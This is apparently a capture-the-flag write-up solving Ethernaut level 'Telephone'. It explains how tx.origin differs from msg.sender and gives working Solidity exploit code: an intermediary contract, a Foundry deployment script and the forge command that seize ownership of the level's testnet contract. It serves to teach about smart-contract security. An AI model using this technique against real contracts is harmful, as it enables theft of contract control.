The Ethernaut CTF Solutions | 04 - Telephone
Phishing the Blockchain: Understanding `tx.origin` and `msg.sender`

Goals
The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
The hack
Pretty short contract this time.
The goal here is to understand the difference between msg.sender and tx.origin. The Telephone contract is vulnerable to a phishing attack because it uses tx.origin to check who initiated the transaction.
tx.originis the original sender of the transaction, the first account that signed the transaction. It can either be an EOA (Externally Owned Account) or an ERC-4337 contract. It is a static value that does not change, regardless of the number of calls in the stack (think nested transactions).msg.senderis the address that initiated the latest call in the transaction. It can change if the transaction is a call from another contract for instance. So if there are multiple calls following each other in the same transaction,msg.senderwill always be the address that initiated the latest call, and its value will change with every new call made within this transaction.
Example Explanation
Direct Call (EOA to Contract)
EOA => Contract|tx.origin === msg.sender === EOA
Indirect Call (EOA through Contract1 to Contract2)
EOA => Contract1 => Contract2For
Contract1:tx.origin === msg.sender === EOAFor
Contract2:tx.origin === EOA,msg.sender === Contract1
In other words, we simply have to deploy an intermediary contract to bypass tx.origin != msg.sender. tx.origin will be our EOA while msg.sender will be the address of the intermediary contract.
Solution
Write another contract that calls the deployed Telephone contract and passes in the new owner's address
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract MissedCall {
address immutable telephone;
constructor(address _telephone) {
telephone = _telephone;
}
function attack() public {
ITelephone(telephone).changeOwner(msg.sender);
}
}
Now let's write the deployment script:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {MissedCall} from "../src/04_Telephone.sol";
interface ITelephone {
function owner() external view returns (address);
}
contract PoC is Script {
// Replace with your Telephone instance
ITelephone tel = ITelephone(0x78511757104F75fE89E6F291cB86f553ff3b4207);
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
MissedCall ring = new MissedCall(address(tel));
console2.log("Current Owner: ", tel.owner());
ring.attack();
console2.log("New Owner: ", tel.owner());
vm.stopBroadcast();
}
}
All we have left is to run the script that will deploy our attack contract and launch the hack:
forge script script/04_Telephone.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
Takeaway
Usage of
tx.originshould be done with care, as it can lead to phishing attacks;Useful in certain cases where you want EOA accounts to call a function for example
Reference:
https://solidity-by-example.org/hacks/phishing-with-tx-origin/
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/





